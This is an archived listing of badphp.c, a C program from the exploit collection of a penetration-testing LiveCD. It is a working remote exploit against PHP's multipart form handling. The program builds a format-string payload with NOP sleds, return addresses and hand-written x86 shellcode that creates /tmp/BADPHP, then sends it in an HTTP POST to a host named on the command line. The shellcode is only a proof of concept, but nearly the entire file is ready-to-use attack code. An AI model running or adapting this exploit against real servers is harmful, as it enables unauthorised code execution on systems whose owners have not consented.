home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / php / badphp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  167 lines

  1. #include<stdio.h>
  2. #include<sys/types.h>
  3. #include<sys/socket.h>
  4. #include<netinet/in.h>
  5. #include<arpa/inet.h>
  6. #include<netdb.h>
  7.  
  8. #define BSIZE 1549
  9. #define BUFFERZONE 128
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13.   int i,start,count;
  14.   int stackloc=0xBFFFDA60;
  15.   int s;
  16.   FILE *f;
  17.   fd_set rfds;
  18.   struct hostent *he;
  19.   struct sockaddr_in saddr;
  20.   char sploit[BSIZE];
  21.   char file[]="/tmp/BADPHP";
  22.   char c;
  23.  
  24.   if(argc!=5) {
  25.     printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
  26.     printf("offset=0 for most systems.\n"); 
  27.     return 0;
  28.   }
  29.  
  30.   /*** build exploit string ***/
  31.   
  32.   /* write bad format string, adding in offset */
  33.   snprintf(sploit,sizeof(sploit),
  34.        "Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
  35.        55817 /*+offset0,1,2,3*/ );
  36.  
  37.   /* fill with breakpoints and nops*/
  38.   start=strlen(sploit);
  39.   memset(sploit+start,0xCC,BSIZE-start);
  40.   memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
  41.   sploit[BSIZE-1]=0;
  42.   
  43.   /* pointer to start of code (stackloc+4) */
  44.   count=BUFFERZONE;
  45.   for(i=0;i<count;i++) {
  46.     unsigned int value=stackloc+4+(count*4);
  47.     if((value&0x000000FF)==0) value|=0x00000004;
  48.     if((value&0x0000FF00)==0) value|=0x00000400;
  49.     if((value&0x00FF0000)==0) value|=0x00040000;
  50.     if((value&0xFF000000)==0) value|=0x04000000;
  51.     *(unsigned int *)&(sploit[start+i*4])=value;
  52.   }
  53.   start+=BUFFERZONE*4*2;
  54.  
  55.   /*** build shellcode ***/
  56.  
  57.   sploit[start+0]=0x90; /* nop */
  58.   
  59.   sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
  60.   sploit[start+2]=0x49;
  61.   sploit[start+3]=0xFE;
  62.   sploit[start+4]=0xFF;
  63.   sploit[start+5]=0xFF;
  64.  
  65.   sploit[start+6]=0xF7; /* not edx */
  66.   sploit[start+7]=0xD2;
  67.  
  68.   sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
  69.   sploit[start+9]=0xBF;
  70.   sploit[start+10]=0xFF;
  71.   sploit[start+11]=0xFF;
  72.   sploit[start+12]=0xFF;
  73.   
  74.   sploit[start+13]=0xF7; /* not ecx */
  75.   sploit[start+14]=0xD1;
  76.   
  77.   sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
  78.   sploit[start+16]=0xFF; 
  79.   sploit[start+17]=0xFF; 
  80.   sploit[start+18]=0xFF; 
  81.   sploit[start+19]=0xFF; 
  82.   sploit[start+20]=0xC0;
  83.   sploit[start+21]=0x5B; /* pop ebx */
  84.   sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */
  85.   sploit[start+23]=0x16;
  86.   sploit[start+24]=0x58; /* pop eax */
  87.   sploit[start+25]=0x03; /* add ebx,eax */
  88.   sploit[start+26]=0xD8;
  89.   
  90.   sploit[start+27]=0x33; /* xor eax,eax */
  91.   sploit[start+28]=0xC0;
  92.  
  93.   sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
  94.   sploit[start+30]=0x43;
  95.   sploit[start+31]=0x0B;
  96.  
  97.   sploit[start+32]=0x83; /* add eax,5 */
  98.   sploit[start+33]=0xC0;
  99.   sploit[start+34]=0x05;
  100.  
  101.   sploit[start+35]=0xCD; /* int 80 (open) */
  102.   sploit[start+36]=0x80;
  103.  
  104.   sploit[start+37]=0x33; /* xor eax,eax */
  105.   sploit[start+38]=0xC0;
  106.  
  107.   sploit[start+39]=0x40; /* inc eax */
  108.   
  109.   sploit[start+40]=0xCD; /* int 80 (_exit) */
  110.   sploit[start+41]=0x80;
  111.   
  112.   /* add filename to touch */
  113.   strncpy(&sploit[start+42],file,strlen(file));
  114.  
  115.   /*** send exploit string ***/
  116.  
  117.   /* create socket */
  118.   s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  119.   if(s<0) {
  120.     printf("couldn't create socket.\n");
  121.     return 0;
  122.   } 
  123.  
  124.   /* connect to port */
  125.   memset(&saddr,0,sizeof(saddr));
  126.   saddr.sin_family=AF_INET;
  127.   saddr.sin_port=htons(atoi(argv[2]));
  128.   he=gethostbyname(argv[1]);
  129.   if(he==NULL) {
  130.     printf("invalid hostname.\n");
  131.   }
  132.   memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct in_addr));
  133.  
  134.   if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
  135.     printf("couldn't connect.\n");
  136.     return 0;
  137.   }
  138.   
  139.   /* fdopen the socket to use stream functions */
  140.   f=fdopen(s,"w");
  141.   if(f==NULL) {
  142.     close(s);
  143.     printf("couldn't fdopen socket.\n");
  144.     return 0;
  145.   }
  146.  
  147.   /* put the post request to the socket */
  148.   fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
  149.   fputs(sploit,f);
  150.   fputc('\n',f);
  151.   fputc('\n',f);
  152.   fflush(f);
  153.  
  154.   /* close the socket */
  155.   fclose(f);
  156.   close(s);
  157.  
  158.   return 0;
  159. }
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.